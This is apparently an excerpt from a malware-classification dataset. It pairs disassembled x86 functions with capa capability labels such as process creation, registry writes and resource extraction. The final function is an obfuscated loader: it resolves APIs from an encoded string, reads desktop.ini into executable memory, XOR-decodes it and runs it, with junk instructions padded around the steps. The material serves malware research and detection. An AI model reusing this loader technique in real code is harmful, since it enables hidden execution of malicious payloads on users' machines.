joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402cf0
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x40fc18
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x54
push edi
mov ecx, 0x11
xor eax, eax
lea edi, [esp + 0x14]
lea edx, [esp + 0x14]
rep stosd dword es:[edi], eax
mov dword [esp + 4], eax
lea ecx, [esp + 4]
mov dword [esp + 8], eax
push ecx
mov dword [esp + 0x10], eax
push edx
push eax
push eax
push eax
push eax
push eax
mov dword [esp + 0x2c], eax
push eax
mov eax, dword [esp + 0x88]
push eax
push 0
mov dword [esp + 0x3c], 0x44
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
pop edi
jne 0x402d75
lea ecx, [esp + 0x64]
mov dword [esp + 0x5c], 0xffffffff
call sub.MFC42u.DLL_CString::CString
xor eax, eax
mov ecx, dword [esp + 0x54]
mov dword fs:[0], ecx
add esp, 0x60
ret
mov ecx, dword [esp + 0x68]
mov edx, dword [esp + 0xc]
mov dword [esp + 0x5c], 0xffffffff
mov dword [ecx], edx
lea ecx, [esp + 0x64]
call sub.MFC42u.DLL_CString::CString
mov ecx, dword [esp + 0x54]
mov eax, 1
mov dword fs:[0], ecx
add esp, 0x60
ret
Function at 0x402db0
Capabilities:
Get common file path

Disassembly:
push 0xffffffffffffffff
push 0x40fc43
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x220
push ebx
xor ebx, ebx
lea ecx, [esp + 8]
mov dword [esp + 0x22c], ebx
mov dword [esp + 4], ebx
mov dword [esp + 0x10], ebx
call sub.MFC42u.DLL_CString::CString_3
lea eax, [esp + 4]
mov byte [esp + 0x22c], 1
push eax
mov dword [esp + 0x18], ebx
mov dword [esp + 0x1c], ebx
call dword [sym.imp.SHELL32.dll_SHGetDesktopFolder]
cmp eax, ebx
jl 0x402e77
mov ecx, dword [esp + 0x234]
push ebx
lea edx, [esp + 0x20]
push ecx
push edx
push ebx
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
lea eax, [esp + 0x1c]
lea ecx, [esp + 8]
push eax
call fcn.0040efa4
lea ecx, [esp + 0x238]
push ecx
lea ecx, [esp + 0xc]
call sub.MFC42u.DLL_CString::operator_1
mov eax, dword [esp + 4]
lea ecx, [esp + 0x14]
push ebx
push ecx
mov edx, dword [eax]
lea ecx, [esp + 0x20]
push ecx
mov ecx, dword [esp + 0x14]
push ecx
push ebx
push ebx
push eax
call dword [edx + 0xc]
mov eax, dword [esp + 4]
lea ecx, [esp + 0x10]
push ecx
mov ecx, dword [esp + 0x18]
mov edx, dword [eax]
push 0x411ddc
push ebx
push ecx
push eax
call dword [edx + 0x14]
cmp eax, ebx
jge 0x402f0c
cmp dword [esp + 0x14], ebx
je 0x402ead
lea edx, [esp + 0xc]
mov dword [esp + 0xc], ebx
push edx
call dword [sym.imp.SHELL32.dll_SHGetMalloc]
test eax, eax
jl 0x402ead
mov eax, dword [esp + 0xc]
mov edx, dword [esp + 0x14]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x14]
mov eax, dword [esp + 0xc]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov dword [esp + 0xc], ebx
mov eax, dword [esp + 0x10]
cmp eax, ebx
je 0x402ebb
mov edx, dword [eax]
push eax
call dword [edx + 8]
mov eax, dword [esp + 4]
cmp eax, ebx
je 0x402ec9
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
lea ecx, [esp + 8]
mov dword [esp + 4], ebx
mov byte [esp + 0x22c], bl
call sub.MFC42u.DLL_CString::CString
lea ecx, [esp + 0x238]
mov dword [esp + 0x22c], 0xffffffff
call sub.MFC42u.DLL_CString::CString
xor eax, eax
pop ebx
mov ecx, dword [esp + 0x220]
mov dword fs:[0], ecx
add esp, 0x22c
ret
mov eax, dword [esp + 4]
push esi
push eax
mov edx, dword [eax]
call dword [edx + 8]
mov eax, dword [esp + 0x14]
lea ecx, [esp + 0xc]
mov dword [esp + 8], eax
mov dword [esp + 0x14], ebx
mov esi, eax
mov byte [esp + 0x230], bl
call sub.MFC42u.DLL_CString::CString
lea ecx, [esp + 0x23c]
mov dword [esp + 0x230], 0xffffffff
call sub.MFC42u.DLL_CString::CString
mov ecx, dword [esp + 0x228]
mov eax, esi
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x22c
ret
Function at 0x403ed0
Capabilities:
Create process on windows
Query environment variable

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x40fe3b
push eax
mov dword fs:[0], esp
sub esp, 0x204
push esi
mov esi, ecx
push edi
mov edi, dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov eax, dword [esi + 0xb0]
push 1
push 0
push 0
push eax
push 0
push 0
call edi
cmp eax, 0x20
jg 0x403f73
lea eax, [esp + 0xc]
push 0x100
push eax
push str.ProgramFiles
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
lea ecx, [esp + 0xc]
push ecx
lea ecx, [esp + 0xc]
call sub.MFC42u.DLL_CString::CString_2
push str.Internet_Exploreriexplore.exe
lea ecx, [esp + 0xc]
mov dword [esp + 0x218], 0
call sub.MFC42u.DLL_CString::operator
mov eax, dword [esi + 0xb0]
mov edx, dword [esp + 8]
push 1
push 0
push eax
push edx
push 0
push 0
call edi
lea ecx, [esp + 8]
mov dword [esp + 0x214], 0xffffffff
call sub.MFC42u.DLL_CString::CString
mov ecx, esi
call fcn.00403ea0
mov ecx, dword [esp + 0x20c]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x210
ret
Function at 0x406450
Capabilities:
Read file on windows

Disassembly:
sub esp, 0xc
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov edi, dword [esp + 0x20]
mov eax, dword [esi]
mov ecx, dword [esi + 8]
push eax
push 1
push ecx
push edi
call dword [sym.imp.MSVCRT.dll_fread]
mov ecx, dword [esi + 8]
add esp, 0x10
cmp eax, 1
mov eax, ecx
cdq
sete bl
idiv dword [esi + 0x18]
test bl, bl
mov byte [esp + 0x12], bl
mov dword [esi + 0x1c], eax
je 0x4065e1
mov edx, dword [esi + 0x14]
push 0xffffffffffffffff
add edx, ecx
push eax
push 0x18
mov dword [esi + 0x14], edx
push ecx
lea edx, [esi + 0x24]
lea ebx, [esi + 0x20]
mov ecx, esp
push edx
mov dword [esp + 0x2c], ebx
call fcn.0040bba0
push ecx
mov ecx, esp
push str.read
call fcn.004015c0
push ebx
call fcn.00404a80
mov ecx, dword [esi + 0x18]
mov ebp, dword [esi + 0x1c]
add esp, 0x18
xor ebx, ebx
xor eax, eax
cmp ecx, 1
sete byte [esp + 0x13]
mov edx, ebp
dec ebp
test edx, edx
je 0x406582
inc ebp
mov dword [esp + 0x14], ebp
mov ebp, dword [sym.imp.MSVCRT.dll_memmove]
mov dl, byte [esp + 0x13]
test dl, dl
je 0x4064fa
xor edx, edx
cmp byte [edi], dl
jmp 0x4064ff
xor edx, edx
cmp word [edi], dx
sete dl
test edx, edx
je 0x406526
test eax, eax
je 0x40651f
cmp edi, eax
je 0x40651f
imul ecx, ebx
mov edx, edi
sub edx, eax
push edx
push eax
sub eax, ecx
push eax
call ebp
add esp, 0xc
mov ecx, dword [esi + 0x18]
inc ebx
lea eax, [ecx + edi]
mov edx, dword [esp + 0x14]
add edi, ecx
dec edx
mov dword [esp + 0x14], edx
jne 0x4064ec
test eax, eax
je 0x40654d
cmp edi, eax
je 0x40654d
mov ecx, dword [esi + 0x18]
sub edi, eax
imul ecx, ebx
push edi
push eax
sub eax, ecx
push eax
call ebp
add esp, 0xc
test ebx, ebx
je 0x406582
push 0xffffffffffffffff
push ebx
push 1
push ecx
mov ecx, esp
push 0
call fcn.004015c0
push ecx
mov ecx, esp
push str.nulls_removed
call fcn.004015c0
mov edx, dword [esp + 0x2c]
push edx
call fcn.00404a80
mov eax, dword [esi + 0x1c]
add esp, 0x18
sub eax, ebx
mov dword [esi + 0x1c], eax
cmp dword [esi + 0x18], 1
jle 0x4065d3
mov eax, dword [esi + 4]
push eax
call fcn.00405490
add esp, 4
test al, al
je 0x4065d3
mov ecx, dword [esi + 0x1c]
mov edx, dword [esp + 0x20]
push ecx
push edx
call fcn.004054a0
add esp, 8
push 0xffffffffffffffff
push 0xffffffffffffffff
push 0
push ecx
mov ecx, esp
push 0
call fcn.004015c0
push ecx
mov ecx, esp
push str.endian_swap
call fcn.004015c0
mov eax, dword [esp + 0x2c]
push eax
call fcn.00404a80
add esp, 0x18
mov al, byte [esp + 0x12]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret 4
mov ecx, esi
call fcn.00405e60
pop edi
pop esi
mov al, bl
pop ebp
pop ebx
add esp, 0xc
ret 4
Function at 0x406a30
Capabilities:
Write file on windows

Disassembly:
push ebx
push ebp
mov ebp, ecx
push esi
mov esi, dword [esp + 0x14]
push edi
mov eax, dword [ebp + 0x18]
mov edi, dword [esp + 0x14]
imul eax, dword [ebp + 0x1c]
test esi, esi
mov dword [ebp + 8], eax
jne 0x406a4e
mov esi, edi
mov ecx, dword [ebp + 4]
xor ebx, ebx
push ecx
call fcn.00405490
add esp, 4
test al, al
je 0x406ac3
test edi, edi
jne 0x406a8d
mov edx, dword [ebp + 0x1c]
shl edx, 1
push edx
call sub.MFC42u.DLL_operatornew
mov ecx, dword [ebp + 0x1c]
mov ebx, eax
shl ecx, 1
mov eax, ecx
mov edi, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
add esp, 4
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, ebx
mov esi, ebx
mov ecx, dword [ebp + 0x1c]
push ecx
push edi
call fcn.004054a0
add esp, 8
push 0xffffffffffffffff
push 0xffffffffffffffff
push 0
push ecx
mov ecx, esp
push 0
call fcn.004015c0
push ecx
mov ecx, esp
push str.endian_swap
call fcn.004015c0
lea edx, [ebp + 0x20]
push edx
call fcn.00404a80
add esp, 0x18
mov eax, dword [ebp]
mov ecx, dword [ebp + 8]
push eax
push 1
push ecx
push esi
call dword [sym.imp.MSVCRT.dll_fwrite]
add esp, 0x10
cmp eax, 1
sete byte [esp + 0x18]
test ebx, ebx
je 0x406aec
push ebx
call sub.MFC42u.DLL_operatordelete
add esp, 4
mov al, byte [esp + 0x18]
test al, al
je 0x406b37
mov eax, dword [ebp + 0x1c]
mov edx, dword [ebp + 8]
mov esi, dword [ebp + 0x14]
push 0xffffffffffffffff
push eax
push 0x18
add esi, edx
push ecx
lea edx, [ebp + 0x24]
mov ecx, esp
push edx
mov dword [ebp + 0x14], esi
call fcn.0040bba0
push ecx
mov ecx, esp
push str.write
call fcn.004015c0
add ebp, 0x20
push ebp
call fcn.00404a80
mov al, byte [esp + 0x30]
add esp, 0x18
pop edi
pop esi
pop ebp
pop ebx
ret 8
mov ecx, ebp
call fcn.00405e60
mov al, byte [esp + 0x18]
pop edi
pop esi
pop ebp
pop ebx
ret 8
Function at 0x407c40
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x410103
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push ebx
mov ebx, ecx
push esi
push edi
mov dword [esp + 0x10], ebx
mov edi, dword [ebx + 0x30]
mov dword [esp + 0x1c], 1
test edi, edi
mov dword [esp + 0xc], edi
je 0x407d07
push ebp
mov ebp, dword [edi]
test ebp, ebp
je 0x407cfd
mov esi, dword [ebp]
test esi, esi
je 0x407cec
add ebp, 4
test esi, esi
je 0x407ce5
cmp dword [esi], 0
je 0x407cdc
mov eax, dword [esi + 4]
xor ebx, ebx
test eax, eax
jle 0x407ccd
mov eax, dword [esi]
mov eax, dword [eax + ebx*4]
test eax, eax
je 0x407cc5
mov ecx, dword [eax - 4]
lea edi, [eax - 4]
push 0x4072a0
push ecx
push 0xc
push eax
call fcn.0040f5ee
push edi
call sub.MFC42u.DLL_operatordelete
mov edi, dword [esp + 0x14]
add esp, 4
mov eax, dword [esi + 4]
inc ebx
cmp ebx, eax
jl 0x407c9b
mov eax, dword [esi]
push eax
call sub.MFC42u.DLL_operatordelete
mov ebx, dword [esp + 0x18]
add esp, 4
push esi
call sub.MFC42u.DLL_operatordelete
add esp, 4
mov esi, dword [ebp]
test esi, esi
jne 0x407c86
mov eax, dword [edi]
push eax
call sub.MFC42u.DLL_operatordelete
add esp, 4
mov dword [edi], 0
push edi
call sub.MFC42u.DLL_operatordelete
add esp, 4
pop ebp
mov esi, dword [ebx + 0x34]
test esi, esi
je 0x407d4f
mov edx, dword [esi + 4]
xor edi, edi
dec edx
sar edx, 0x10
inc edx
test edx, edx
jle 0x407d37
mov eax, dword [esi]
mov eax, dword [eax + edi*4]
push eax
call sub.MFC42u.DLL_operatordelete
mov ecx, dword [esi + 4]
add esp, 4
inc edi
dec ecx
sar ecx, 0x10
inc ecx
cmp edi, ecx
jl 0x407d1c
mov eax, dword [esi]
test eax, eax
je 0x407d46
push eax
call sub.MFC42u.DLL_operatordelete
add esp, 4
push esi
call sub.MFC42u.DLL_operatordelete
add esp, 4
lea ecx, [ebx + 4]
mov byte [esp + 0x1c], 0
call sub.MFC42u.DLL_CString::CString
mov ecx, ebx
mov dword [esp + 0x1c], 0xffffffff
call sub.MFC42u.DLL_CString::CString
mov ecx, dword [esp + 0x14]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x14
ret
Function at 0x409660
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x4102d8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x24
push esi
mov esi, ecx
push 0
mov eax, dword [esi + 0x28]
push eax
push ecx
mov ecx, esp
mov dword [esp + 0x10], esp
push esi
call fcn.0040bba0
lea ecx, [esp + 0x14]
call fcn.004091f0
mov eax, dword [esi + 0xc]
test eax, eax
je 0x4096c3
cmp dword [esi + 0x1c], 1
jne 0x4096c3
mov edx, dword [esi + 0x34]
mov ecx, eax
sar ecx, 0x10
mov edx, dword [edx]
and eax, 0xffff
shl eax, 5
mov ecx, dword [edx + ecx*4]
mov edx, dword [ecx + eax]
inc edx
mov dword [esp + 0x10], edx
jmp 0x4096e2
mov eax, dword [esi + 0x24]
test eax, eax
je 0x409765
cmp dword [esi + 0x1c], 0x10
jne 0x409765
mov eax, dword [esi + 0x20]
add eax, 2
mov dword [esp + 0x10], eax
mov ecx, dword [esp + 0x3c]
mov edx, dword [esp + 0x38]
push ecx
push edx
push 0
lea ecx, [esp + 0x14]
call fcn.00405640
test al, al
je 0x409765
mov eax, dword [esi + 0x28]
mov ecx, dword [esp + 0xc]
mov esi, dword [esp + 8]
push eax
sub ecx, esi
inc ecx
push ecx
lea ecx, [esp + 0x10]
call fcn.00407290
push ecx
mov ecx, esp
mov dword [esp + 0x44], esp
push eax
call fcn.004015c0
lea edx, [esp + 0x48]
push edx
call fcn.00408620
add esp, 0x10
mov ecx, dword [esp + 0x40]
push eax
mov dword [esp + 0x34], 0
call sub.MFC42u.DLL_CString::operator_2
lea ecx, [esp + 0x3c]
mov dword [esp + 0x30], 0xffffffff
call sub.MFC42u.DLL_CString::CString
mov al, 1
mov ecx, dword [esp + 0x28]
mov dword fs:[0], ecx
pop esi
add esp, 0x30
ret 0xc
mov ecx, dword [esp + 0x28]
xor al, al
mov dword fs:[0], ecx
pop esi
add esp, 0x30
ret 0xc
Function at 0x40cd74
Capabilities:
Resume thread

Disassembly:
push 0xffffffffffffffff
push 0x4106e8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x34
push ebx
push esi
push edi
mov dword [esp + 0x20], ecx
lea ecx, [esp + 0x10]
mov dword [esp + 0x48], 0
call sub.MFC42u.DLL_CString::CString_3
lea ecx, [esp + 0xc]
mov byte [esp + 0x48], 1
call sub.MFC42u.DLL_CString::CString_3
push 0xa
lea ecx, [esp + 0x28]
mov byte [esp + 0x4c], 2
xor edi, edi
call sub.MFC42u.DLL_CMapStringToString::CMapStringToString
mov bl, 3
push edi
push 0x41939c
lea ecx, [esp + 0x58]
mov byte [esp + 0x50], bl
call sub.MFC42u.DLL_CString::Find_2
mov esi, eax
cmp esi, 0xffffffff
je 0x40cd6e
mov eax, esi
lea ecx, [esp + 0x14]
sub eax, edi
push eax
push edi
push ecx
lea ecx, [esp + 0x5c]
call sub.MFC42u.DLL_CString::Mid_1
push eax
lea ecx, [esp + 0x14]
mov byte [esp + 0x4c], 4
call sub.MFC42u.DLL_CString::operator_2
lea ecx, [esp + 0x14]
mov byte [esp + 0x48], bl
call sub.MFC42u.DLL_CString::CString
push 0x2f
lea ecx, [esp + 0x14]
call sub.MFC42u.DLL_CString::ReverseFind
inc eax
lea edx, [esp + 0x18]
push eax
push edx
lea ecx, [esp + 0x18]
call sub.MFC42u.DLL_CString::Mid
push eax
lea ecx, [esp + 0x10]
mov byte [esp + 0x4c], 5
call sub.MFC42u.DLL_CString::operator_2
lea ecx, [esp + 0x18]
mov byte [esp + 0x48], bl
call sub.MFC42u.DLL_CString::CString
lea eax, [esp + 0xc]
lea ecx, [esp + 0x1c]
push eax
push 0x419b4c
push ecx
call sub.MFC42u.DLL_operator
push eax
lea ecx, [esp + 0x10]
mov byte [esp + 0x4c], 6
call sub.MFC42u.DLL_CString::operator_2
lea ecx, [esp + 0x1c]
mov byte [esp + 0x48], bl
call sub.MFC42u.DLL_CString::CString
mov eax, dword [esp + 0x10]
lea edx, [esp + 0xc]
push edx
push eax
lea ecx, [esp + 0x2c]
call sub.MFC42u.DLL_CMapStringToString::operator__
mov ecx, eax
call sub.MFC42u.DLL_CString::operator_2
lea edi, [esi + 1]
lea ecx, [esp + 0x50]
push edi
push 0x41939c
call sub.MFC42u.DLL_CString::Find_2
mov esi, eax
cmp esi, 0xffffffff
jne 0x40cca0
push 0
push 4
push 0
push 0
push 0x411670
call sub.MFC42u.DLL_AfxBeginThread
test eax, eax
mov dword [0x419b60], eax
je 0x40cddc
mov ecx, dword [esp + 0x20]
mov dword [eax + 0x28], 0
push ecx
mov ecx, dword [0x419b60]
call fcn.00402730
mov eax, dword [0x419a10]
lea edx, [esp + 0x24]
push 0x7eb
push edx
push eax
push ecx
mov ecx, esp
mov dword [esp + 0x30], esp
push 0x419a14
call sub.MFC42u.DLL_CString::CString_1
mov ecx, dword [0x419b60]
call fcn.00402580
mov ecx, dword [0x419b60]
mov edx, dword [ecx + 0x2c]
push edx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
lea ecx, [esp + 0x24]
mov byte [esp + 0x48], 2
call fcn.0040f1ba
lea ecx, [esp + 0xc]
mov byte [esp + 0x48], 1
call sub.MFC42u.DLL_CString::CString
lea ecx, [esp + 0x10]
mov byte [esp + 0x48], 0
call sub.MFC42u.DLL_CString::CString
lea ecx, [esp + 0x50]
mov dword [esp + 0x48], 0xffffffff
call sub.MFC42u.DLL_CString::CString
mov ecx, dword [esp + 0x40]
pop edi
pop esi
mov eax, 1
mov dword fs:[0], ecx
pop ebx
add esp, 0x40
ret 4
Function at 0x40dc20
Capabilities:
Set registry value

Disassembly:
push 0xffffffffffffffff
push 0x410840
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xc
push ebx
push ebp
push esi
push edi
xor edi, edi
mov ebp, ecx
mov dword [esp + 0x10], edi
push 0x414180
lea ecx, [esp + 0x18]
mov dword [esp + 0x28], edi
call sub.MFC42u.DLL_CString::CString_2
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
lea eax, [esp + 0x18]
push eax
push 0xf003f
push edi
push str.SOFTWAREMicrosoftInternet_ExplorerMAIN
push 0x80000001
mov byte [esp + 0x38], 1
mov dword [esp + 0x2c], edi
call esi
cmp eax, edi
jne 0x40dd21
mov edi, dword [esp + 0x18]
mov edx, dword [esp + 0x2c]
lea ecx, [ebp + 0xb0]
push edx
mov dword [esp + 0x14], edi
call sub.MFC42u.DLL_CPtrList::FindIndex
mov ebx, dword [eax + 8]
mov eax, dword [esp + 0x14]
mov dword [esp + 0x2c], eax
mov esi, dword [ebx + 8]
add esi, 0x18
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov edx, dword [esp + 0x2c]
lea ecx, [eax + eax + 2]
push ecx
push esi
push 1
push 0
push edx
push edi
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test edi, edi
je 0x40dcdd
push edi
call esi
xor edi, edi
mov dword [esp + 0x10], edi
mov eax, dword [ebx + 8]
push ecx
add eax, 0x18
mov ecx, esp
mov dword [esp + 0x30], esp
push eax
call sub.MFC42u.DLL_CString::CString_2
mov ecx, ebp
call fcn.0040de00
lea ecx, [esp + 0x14]
mov byte [esp + 0x24], 0
call sub.MFC42u.DLL_CString::CString
test edi, edi
je 0x40dd0c
push edi
call esi
mov ecx, dword [esp + 0x1c]
pop edi
pop esi
pop ebp
mov dword fs:[0], ecx
pop ebx
add esp, 0x18
ret 4
mov ecx, ebp
call fcn.0040df50
lea ecx, [esp + 0x18]
mov dword [esp + 0x18], edi
push ecx
push 0xf003f
push edi
push str.SOFTWAREMicrosoftInternet_ExplorerMAIN
push 0x80000001
call esi
cmp eax, edi
jne 0x40dd50
mov edi, dword [esp + 0x18]
jmp 0x40dc88
lea ecx, [esp + 0x14]
mov byte [esp + 0x24], 0
call sub.MFC42u.DLL_CString::CString
jmp 0x40dd0c
Function at 0x40de00
Capabilities:
Check os version

Disassembly:
push 0xffffffffffffffff
push 0x410863
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x124
push esi
push edi
mov ecx, 0x47
xor eax, eax
lea edi, [esp + 0x10]
mov dword [esp + 0x134], 0
rep stosd dword es:[edi], eax
lea eax, [esp + 0x10]
mov dword [esp + 0x10], 0x11c
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
lea ecx, [esp + 8]
call sub.MFC42u.DLL_CString::CString_3
mov eax, dword [esp + 0x14]
mov byte [esp + 0x134], 1
cmp eax, 5
jbe 0x40de69
push str.MicrosoftInternet_ExplorerQuick_LaunchUser_PinnedTaskBar
jmp 0x40de6e
push str.MicrosoftInternet_ExplorerQuick_Launch
lea ecx, [esp + 0xc]
call fcn.0040efa4
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
push ecx
lea edx, [esp + 0xc]
mov ecx, esp
mov dword [esp + 0x10], esp
push edx
call sub.MFC42u.DLL_CString::CString_1
push 0x1a
call fcn.00402db0
mov esi, eax
add esp, 4
lea eax, [esp + 0x140]
mov ecx, esp
mov dword [esp + 0x10], esp
push eax
call sub.MFC42u.DLL_CString::CString_1
push esi
call fcn.00402f80
push esi
call fcn.00402f70
add esp, 8
mov ecx, esp
mov dword [esp + 0x10], esp
push 0x419a18
call sub.MFC42u.DLL_CString::CString_2
push 0
call fcn.00402db0
add esp, 4
lea edx, [esp + 0x140]
mov ecx, esp
mov dword [esp + 0x10], esp
push edx
mov esi, eax
call sub.MFC42u.DLL_CString::CString_1
push esi
call fcn.00402f80
push esi
call fcn.00402f70
add esp, 0xc
call dword [sym.imp.ole32.dll_CoUninitialize]
lea ecx, [esp + 8]
mov byte [esp + 0x134], 0
call sub.MFC42u.DLL_CString::CString
lea ecx, [esp + 0x13c]
mov dword [esp + 0x134], 0xffffffff
call sub.MFC42u.DLL_CString::CString
mov ecx, dword [esp + 0x12c]
pop edi
mov dword fs:[0], ecx
pop esi
add esp, 0x130
ret 4
Function at 0x40e010
Capabilities:
Extract resource via kernel32 functions
Write file on windows

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x410880
push eax
mov dword fs:[0], esp
push ebx
push ebp
push esi
push edi
mov ecx, dword [esp + 0x24]
mov eax, dword [esp + 0x20]
and ecx, 0xffff
xor edi, edi
push eax
push ecx
push edi
mov dword [esp + 0x24], 1
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
test esi, esi
je 0x40e0b5
push esi
push edi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebx, eax
test ebx, ebx
je 0x40e0b5
push esi
push edi
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x40e0b5
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebp, eax
test ebp, ebp
je 0x40e0b5
mov edx, dword [esp + 0x28]
push edi
push 0x20
push 2
push edi
push edi
push 0x10000000
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x40e0b5
lea eax, [esp + 0x24]
push edi
push eax
push ebx
push ebp
push esi
mov dword [esp + 0x38], edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test edi, edi
jne 0x40e0cd
lea ecx, [esp + 0x24]
call sub.MFC42u.DLL_CString::CString_3
call dword [sym.imp.KERNEL32.dll_GetLastError]
lea ecx, [esp + 0x24]
call sub.MFC42u.DLL_CString::CString
lea ecx, [esp + 0x20]
mov byte [esp + 0x18], 0
call sub.MFC42u.DLL_CString::CString
lea ecx, [esp + 0x28]
mov dword [esp + 0x18], 0xffffffff
call sub.MFC42u.DLL_CString::CString
mov ecx, dword [esp + 0x10]
mov eax, edi
pop edi
pop esi
pop ebp
mov dword fs:[0], ecx
pop ebx
add esp, 0xc
ret
Function at 0x40ef40
Capabilities:
Set registry value

Disassembly:
push esi
push edi
mov edi, dword [esp + 0xc]
mov esi, ecx
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [esp + 0x10]
mov edx, dword [esi]
lea eax, [eax + eax + 2]
push eax
push edi
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
pop edi
pop esi
ret 8

Function at 0x10001193
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, str.dpmmBmbvusjWfmjGebfSfmjGfubfsDXfuvdfyFmmfiT
push edi
mov eax, esi
call fcn.1000117f
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
xor ebx, ebx
push str.shell32.dll
mov byte [0x10003029], bl
mov byte [0x10003034], bl
mov byte [0x1000303d], bl
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push 0x10003035
push str.kernel32.dll
mov dword [ebp - 4], eax
call esi
push eax
call edi
push 0x1000303e
push str.kernel32.dll
mov dword [ebp - 8], eax
call esi
push eax
call edi
push 1
push ebx
push ebx
push 0x10002058
push ebx
push ebx
mov edi, eax
call dword [ebp - 4]
push ebx
push 0x80
push 3
push ebx
push 1
push 0x80000000
push str.desktop.ini
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [0x10003060], eax
cmp eax, 0xffffffff
je 0x100013f5
push 0x40
mov esi, 0x1000
push esi
push esi
push ebx
call edi
push ebx
push 0x10003064
push esi
push eax
push dword [0x10003060]
mov dword [0x1000305c], eax
call dword [ebp - 8]
mov eax, dword [0x1000305c]
mov cl, byte [eax]
push eax
xor bx, si
xor bx, si
btc esi, 0x8d
xor dx, 0xf73
xor dx, 0x7cc5
xor dx, 0xae7
xor dx, 0x7951
btc esi, 0x8d
ror si, 2
rol si, 2
pop eax
xor bx, 0x1fdd
xor bx, 0xfe35
xor bx, 0xa079
xor bx, 0x4191
push eax
xor bp, bx
xor bp, bx
ror bl, 0x3f
test di, bx
rol bl, 0x3f
xor dx, 0xf37d
xor dx, 0xef5d
xor dx, 0xbe3c
xor dx, 0xa21c
pop eax
rol di, 0x7e
ror di, 0x7e
push eax
xor dx, ax
xor dx, ax
test bp, cx
xor bx, bp
movzx ecx, cl
xor ecx, 0x4e
push eax
xor bx, si
xor bx, si
btc esi, 0x8d
xor dx, 0xf73
xor dx, 0x7cc5
xor dx, 0xae7
xor dx, 0x7951
btc esi, 0x8d
ror si, 2
rol si, 2
pop eax
xor bx, 0x1fdd
xor bx, 0xfe35
xor bx, 0xa079
xor bx, 0x4191
push eax
xor bp, bx
xor bp, bx
ror bl, 0x3f
test di, bx
rol bl, 0x3f
xor dx, 0xf37d
xor dx, 0xef5d
xor dx, 0xbe3c
xor dx, 0xa21c
pop eax
rol di, 0x7e
ror di, 0x7e
push eax
xor dx, ax
xor dx, ax
test bp, cx
xor bx, bp
xor esi, esi
cmp dword [0x10003064], esi
jbe 0x10001375
mov eax, dword [0x1000305c]
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003064]
jb 0x1000135c
push eax
xor bx, si
xor bx, si
btc esi, 0x8d
xor dx, 0xf73
xor dx, 0x7cc5
xor dx, 0xae7
xor dx, 0x7951
btc esi, 0x8d
ror si, 2
rol si, 2
pop eax
xor bx, 0x1fdd
xor bx, 0xfe35
xor bx, 0xa079
xor bx, 0x4191
push eax
xor bp, bx
xor bp, bx
ror bl, 0x3f
test di, bx
rol bl, 0x3f
xor dx, 0xf37d
xor dx, 0xef5d
xor dx, 0xbe3c
xor dx, 0xa21c
pop eax
rol di, 0x7e
ror di, 0x7e
push eax
xor dx, ax
xor dx, ax
test bp, cx
xor bx, bp
call dword [0x1000305c]
pop edi
pop esi
pop ebx
leave
ret 0x10